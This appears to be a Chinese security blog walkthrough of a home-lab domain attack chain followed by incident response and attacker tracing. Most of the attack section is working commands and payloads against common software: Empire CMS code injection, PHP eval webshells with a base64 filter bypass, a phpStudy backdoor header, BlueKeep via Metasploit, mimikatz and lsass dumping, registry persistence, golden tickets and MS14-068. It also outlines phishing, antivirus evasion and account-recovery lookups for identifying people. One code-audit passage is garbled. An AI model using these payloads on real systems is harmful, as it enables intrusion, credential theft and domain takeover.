加入安世加 交流群 和大佬们一起交流安全技术
某安全公司技术经理兼项目经理
弥天安全实验室核心成员、炎黄安全实验室创始人
研究方向:渗透测试、安全运营建设
描述
题目的意思是从0开始搭建环境进行外网的渗透测试到达壹;之后进行内网漫游属于贰;应急响应是叁,应急响应中摒弃病毒、木马文件等,之后进行追踪溯源的操作,获取黑客信息属于肆;
进行从开始的环境搭建步步紧跟,资料的查询,不断地思考,提升内在解决问题的能力;从而形成一条完整的攻击的链条;
主要目标是巩固知识,完善不足,查漏补缺,应时而用;
拓扑图
整体思路
kali 首先攻击win7【CMS】-横向移动发现win10和win2008-攻击域控win2012-拿下域控权限-进行应急响应去处置-之后溯源-找到黑客信息进行封杀。
内网渗透思路
内网渗透的思维
偶然性:概率性,证明和验证技术
针对性的渗透:获取内网核心数据和资料,控制某台或多台计算机,获取公司或者个人私密信息(邮件,研究成果,代码,顾客名单,运营情况,敌手打击等)
商业目的:获取内网某些资料或者某个人的资料
战略目的:政治等需要,比如:邮件木马等
到此一游:偶然发生,个人爱好
渗透思路
1.正面攻击
被渗透目标在外网有网站,网站服务器跟内网相连,对服务器所有CMS进行渗透,对服务器入口进行渗透,对同网段服务器渗透后嗅探。
2.迂回攻击
正面网站防范很严格,从旁站进行渗透,从CMS开发商开始渗透,从托管服务器商开始渗透,从服务器所在地方,从公司个人计算机(前台MM,销售员,公司小白),公司无线网络。
3.社工(APT)攻击
社工是最为直接和高效攻击,需要有好的多款远程控制软件,对木马进行免杀,0天效果比较好,给员工发送邮件,做伪造网站钓鱼攻击
4.内外勾结
5.黑客化妆(求职)打入内部等等
小型-渗透思维
1.基本情况和特点
小型内网无域控,服务器在一个网段,有外网独立IP或者多个应用映射到一个独立IP,可能对外有远程管理,虚拟主机或者独立主机系统。
2.渗透思路
信息收集,渗透CMS获取webshell了,可以SSH等暴力破解,服务器提权,同网段或者内网服务器渗透。
网站对外提供网络服务,网络服务器是内外网唯一通道,网络服务器使用DFM以及WordPress的
4.渗透过程
网站漏洞扫描,SQL注入漏洞获取管理员账号,后台登录寻找漏洞,CMS直接上传webshell,MySQL根账号直接提权获取服务器权限,lcx内网穿透远程登录进入内网,使用ntcan扫描内网IP获取3台服务器权限,获取内网邮件服务器权限,对莲花邮件数据全部打包压缩,获取邮件数据
5.使用到的工具
lcx,psexec,gescdump,NTScan,cfm webshell,php webshell,注入工具,漏洞扫描工具,powershell等等
大型-渗透思维
1.从“农村”包围“城市”
2.内部网络“边界”渗透
3.人性“弱点”的渗透
4.获得入口的权限
5.入口服务器提权和内网扫描
6.代理穿透进入内网
7.内网横向和纵向渗透
8.会用到多种(SQL注入,命令执行,密码破解,代理工具使用,密码获取,信息的分析和梳理)技术
渗透体会
本质信息收集
1.现在被神话了,本质还是渗透的延伸,只是中间涉及了很多综合的技术
2.渗透必须要有耐心,要细心和决心
3.渗透非常耗费时间和精力,需要保重身体
4.成功的渗透会带来很大的成就感和满足感
成功渗透目标,从虚拟机到实体机的渗透技术,Hashcat直接可以获取邮件密码,总结很重要,成体系的总结更重要。
准备
域环境搭建(win2012)
开始
(1)打开服务器管理器,添加角色和功能。
(2)出现“添加角色和功能”界面,下一步
(3)根据提示操作,下一步
(4)根据提示操作,下一步
(5)选择添加AD域服务(Active Directory 域服务),同时添加所需功能
(6) 选择功能,下一步
(7)选择AD DS ,下一步
(8)选择确认,安装
(9)正在安装完成,关闭
配置域
(3)填写密码,下一步;密码:root@123
(4)提示DNS无法创建,不用管,继续下一步
(5) 其他选择项,下一步
(6)安装路径默认,下一步
(7)检查选项,下一步
(8)先决条件检查,安装
(9)安装完成,会提示注销重启
将转换服务器加入到域控服务器
(1)打开转换服务器,修改转换服务器的NDS,指向域控服务器
(2)在计算机属性中,修改计算机名称(随意),并添加到域控服务器(域为“添加新林”时设置的域名),确定后提示注销重启服务器
(4)在域控服务器中,显示如下
域控服务器安装完成
(5) 添加域用户win7
下一步,添加用户
输入用户名称
输入密码
(6) 添加域用户win2008
输入密码
环境搭建(win2008 R2)加入域
修改计算机名称,加入域
环境搭建(win7 x64)加入域
修改计算机属性,加入域
重启计算机
登录
帝国CMS环境搭建
https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html
打开浏览器
打开后台:账户密码root
数据库myadmin
环境搭建(win10)
http://download.safedog.cn/download/software/safedogwzApache.exe
工具
burpsuite、冰蝎、菜刀、MSF、蚁剑、D盾、EW、MIMIKATZ、Psexec、Ms14-068、LCX、CS等等
测试过程
信息收集
嗅探netdiscover
发现192.168.28.140,192.168.28.129
首先对192.168.28.140进行攻击-扫描
nmap -A 192.168.28.140
发现WEB界面,访问http://192.168.28.140
查看信息关于php的相关内容,是windows系统
通过whatweb发现属于CMS
目录遍历查看敏感目录
漏洞利用
访问后台系统,查看存在弱口令
http://192.168.28.140/e/admin/
暴力破解:进行爆破,找到账户密码
http://192.168.28.140/e/admin/admin.php?ehash_2BPgI=ekMH6J9KSW2Rhm5ArEAt
依次 -> [系统]-[系统设置]-[备份与恢复数据]-[备份数据]
抓包进行tablename参数都进行修改为phpinfo()
访问备份文件目录下的config.php,将readme.txt改为config.php
http://192.168.28.140/e/admin/ebak/bdata/empirecms_20201121173210WkHDU5/config.php
代码审计
由于出现 了CMS可以从网上进行查找,是否有源码包进行审计,对代码进行审计
依据刚才的过程而言
(1) 在e/admin/ebak/phome.php文件中接受备份数据库传递的参数
(2)接受参数后,传递到\upload\e\admin\ebak\class\functions.php文件中的EbakDOEbak函数中。EbakDOEbak函数接受参数后,将数据库表名传递给变量$tablename
(3)系统对表名遍历将其赋值给b t a b l e 和 btable和btable和dtable。在d t a b l e 处 将 表 名 拼 接 为 字 符 串 。对 拼 接 而 成 d_table处将表名拼接为字符串。对拼接而成dtable处将表名拼接为字符串。对拼接而成tb数组未对其中的键值名添加双引号
(4)在生成config.php文件的过程中,对于$d_table没有进行处理,直接拼接到生成文件的字符串中,导致任意代码执行漏洞
(5)config.php
/e/admin/ebak/bdata/empirecms_20201121173210WkHDU5/config.php
备份文件,生成新的文件由readme.txt为config.php
文件上传
在系统-管理数据表位置存在文件上传的地方
导入系统模型
生成一个1.php.mod文件
<?php
file_put_contents(“shell.php”,”<?php phpinfo(); ?>”);
?>
访问http://192.168.28.140/e/admin/shell.php
获得shell
上传木马root.php.mod
<?php
file_put_contents(“shell.php”,”<?php @eval($_POST[‘root’]) ?>”);
?>
报错
进行编码绕过拦截
<?phpfile_put_contents(“root.php”,”<?php$a=base64_decode(“ZXZhbA==”)$a(\$_POST[‘a’]);?>”);?>
<?php file_put_contents(“cao.php”,”<?php @eval(\$_POST[cmd]); ?>”);?>
菜刀连接
或者冰蝎、中国蚁剑、Weevely等等
打开虚拟终端,执行命令发现是有域环境的
远程控制
上传远程控制木马或者上传mimikaz
开启CS神器
使用CS进行文件管理
破解密码-mimikaz
报错
修改注册表
beacon> shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
上传ProcDump
菜刀上传mimikatz
查看当前win7用户信息
修改账户密码
进行远程登录
查看3389端口
beacon> shell REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server\WinStations\RDP-Tcp /v PortNumber
开启3389beacon> shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
远程登录
win7持久后门之注册表
shell reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” /v “calm” /t REG_SZ /d “C:\Users\calmness\calmnexx.exe” /f
或者
getshell
对phpinfo进行漏洞攻击,发现xmlrpc
进行分析
构造payload
注: Accept-Encoding要把gzip, deflate 里逗号后面的空格去掉,不然命令执行不成功
Accept-Charset 的值就是执行的命令, 需要进行base64编码
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1
漫游内网
内网信息收集
远程win7使用nbtscan扫描内网存活IP
ping批量测试ip
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F “usebackq eol=- skip=1 delims=\” %%j IN (`net view ^| find “命令成功完成” /v ^|find “The command completed successfully.” /v`) DO (
@FOR /F “usebackq delims=” %%i IN (`@ping -n 1 -4 %%j ^| findstr “Pinging”`) DO (
@FOR /F “usebackq tokens=2 delims=[]” %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)
获取当前计算机名称
查看所有域
win7ping win2012
横向移动
查看win2008系统【192.168.1.18】
查看域控win2012【192.168.1.21】
隧道应用
搭建隧道连接域控环境
EarthWorm,(简称EW)是一套轻量便携且功能强大的网络穿透工具,基于标准C开发;具有socks5代理、端口转发和端口映射三大功能;支持跨平台
利用攻击机器kali[192.168.28.130]穿透win2008,远程控制win2008
metasploit之历史漏洞利用
发现有密码-查询历史漏洞进行攻击-MSF:windows/rdp/cve_2019_0708_bluekeep_rce
meterpreter> upload /mimikatz.rar
meterpreter> shell
C:\windows\system32>chcp 65001 【注:解决乱码问题】
C:\windows\system32>dir 【注:查找mimikatz.rar】
C:\windows\system32>unrar e mimikatz.rar
C:\windows\system32>mimikatz.exe
上传mimikatz
破解win2008登录密码
privilege::debug
sekurlsa::logonpasswords
NTLM哈希
远程登录
root@kali:~# rdesktop 192.168.28.130:1080
账户密码 Administrator:root@123456
查询域内信息
获得域控
伪造黄金票据
第一步:在域控内导出krbtgt用户的hash和sid(使用mimikatz.exe工具):
lsadump::dcsync /domain:test.com /user:krbtgt domian:后面是域控名 user后面是krbtgt用户
或者
可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 导出为lsass.dump文件
获取域控信息
net group “domain controllers” /domain
第二步:.清除自己Client端(域内其他机器)的票据
在mimikatz.exe执行kerberos::list查看我们当前的票据
kerberos::purge清空当前用户登录的票据
第三步:伪造TGT票据(黄金票据)
kerberos::golden的意思是使用票据功能,/admin 后面的用户是我们可以伪造的任意用户,我这里用calmness,/sid后面输入的就是我们之前抓到的sid,/krbtgt后面是之前抓到的hash, /ptt是立即执行到内存的意思。ps:一共有5个空格,这里需要注意下。构造好了语句后,在Client端上执行,提示Successfully表示已经成功了。
kerberos::golden /admin:calmness /domain:test.com /sid:S-1-5-21-35384602030-1486526769-2284368966-502 /krbtgt:0e3982c434ed02ff33fb2f0698e3b30e /ptt
使用cmd下 klist命令查看,说明已经成功在Client端伪造了黄金票据
第五步:在Client端通过psexec.exe工具进行连接主控域;连接成功了以后,是直接返回一个cmd的交互式界面,并且是最高权限
另一种方法:MS14-068提权
通过dir访问域控共享文件夹,拒绝访问
获取用户sid:whoami /user
展示参数
执行下列命令,会在当前目录生成一个ccache文件
MS14-068.exe -u administrator@test.com -p root@123456 -s S-1-5-21-3083997108-67568443-464007278-500 -d DC.test.com
删除当前域机器的票证:klist purge
使用mimikatz将ccache文件导入,提升为域控权限
kerberos::ptc TGT_administrator@test.com.ccache
成功dir域控服务器C盘
使用psexec.exe获取一个交互式shell
PsExec.exe \\DC.test.com cmd
其他方法1:kekeo.exe
(https://github.com/gentilkiwi/kekeo/releases)通过kekeo.exe获取域控权限,此工具并非每次都能成功利用。【注入内存中】kekeo.exe “exploit::ms14068 /domain:test.com /user:administrator/password:root@123456 /ptt” “exit”
其他方法2:goldenPac.exe
(https://github.com/maaaaz/impacket-examples-windows)此工具是impacket工具包里的,它是MS14-068 psexec的组合;goldenPac.exe test.com/administrator:root@123456@DC.test.com
之后进行痕迹清理
应急响应
分析具体安全事件
常见的安全事件:
1. Web入侵:挂马、篡改、Webshell
2. 系统入侵:系统异常、RDP爆破、SSH爆破、主机漏洞
3. 病毒木马:远控、后门、勒索软件
4. 信息泄漏:刷裤、数据库登录(弱口令)
5. 网络流量:频繁发包、批量请求、DDOS攻击
确认为WEB入侵,查看受害系统基本信息
PS C:\Windows\system32> systeminfo
查看CPU和内存消耗
异常点排查
netstat -abo | findstr TCP
对进程进行排查:tasklist | findstr PID
查看服务:tasklist /SVC
查看动态链接库:tasklist /M > 1.txt
查看日志
进程日志和登录日志 路径 C:\Windows\System32\winevt\Logs
根据时间段进行查看事件
安全事件:筛查登录时间
查看系统事件
D盾查杀
应用服务目录进行的文件内容排查-D盾查杀等
可以看到上传事时间,位置
最后找到了远程控制木马及木马,攻击事件22日上午9点左右;上传木马-远程控制-内网穿透;
可以根据具体情况而定
追踪溯源
溯源法是一种追究根源的逆向思维方式,也是一种以倒推的方式追寻原因而达到解决问题的工作方式;
溯源的思维导图
常用的网址
微博找回密码链接:找回帐号密码 (weibo.com)
网易找回密码链接:
https://reg.163.com/naq/findPassword#/verifyAccount
淘宝找回密码链接:
https://passport.taobao.com/ac/password_find.htm?spm=a2107.1.0.0.58bb11d9H7OMg N&from_site=0&lang=zh_CN&app_name=tb&tracelog=signin_main_pass
百度忘记密码链接:
https://passport.baidu.com/?getpassindex&tt=1591344858100&gid=0A6E681-E84A-4 388-A0C3-B262AE20E8CD&tpl=mn&u=https://www.baidu.com/
百度识图链接:https://image.baidu.com/?fr=shitu
谷歌识图链接:https://images.google.com/
在线端口扫描工具扫描其开放的端口:
http://coolaf.com/zh/tool/port
csdn忘记密码链接:CSDN-专业IT技术社区-忘记密码
学信网找回用户名:
https://account.chsi.com.cn/account/password!rtvlgname
进入 oray 页面找回:https://console.oray.com/passport/find-account.html
通过第三方查找该用户的信息: http://qd.yyimg.com/act/index/id/
排错
win7加入域,查询域控出错
services.msc -computer browser 重启服务
存在域,但当前用户不是域用户,提示说明权限不够
可以在php.ini中设置short_open_tag = On
注意:打穿win2008 R2添加补丁包升级至sp1
参考链接
https://www.cnblogs.com/yuzly/p/11610061.html
https://www.cnblogs.com/yuzly/p/11610061.html
https://www.baidu.com/s?wd=CVE-2020-16898 | Windows TCP/IP远程执行代码漏洞复现&rsv_spt=1&rsv_iqid=0xd6732d7f0005119f&issp=1&f=8&rsv_bp=1&rsv_idx=2&ie=utf-8&rqlang=cn&tn=baiduhome_pg&rsv_dl=tb&rsv_enter=1&oq=cve202019%26lt%3B8%E6%BC%8F%E6%B4%9E&rsv_t=8a7aEReRH2bIMUaR9ZVVg/z3T5tYKNmtS8niRNWRVf8+hpaDGuAcjUmzEES7PaTBcPkZ&rsv_btype=t&inputT=23060&rsv_pq=8b9d264300010563&rsv_n=2&rsv_sug3=99&rsv_sug1=58&rsv_sug7=000&rsv_sug2=0&rsv_sug4=23060&rsv_sug=1
https://www.secpulse.com/archives/76810.html
https://www.cnblogs.com/yuzly/p/11610061.html
https://www.bilibili.com/read/cv5026378/
https://blog.csdn.net/weixin_41082546/article/details/104926190?utm_medium=distribute.pc_relevant.none-task-blog-title-2&spm=1001.2101.3001.4242
https://blog.csdn.net/qq_18501087/article/details/101593766
https://blog.csdn.net/ws13129/article/details/90071260
https://blog.csdn.net/Fly_hps/article/details/80780989?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param
https://www.sohu.com/a/300983667_658302
https://blog.csdn.net/weixin_41520029/article/details/100126862
https://www.cnblogs.com/iamsoscared/p/13835618.html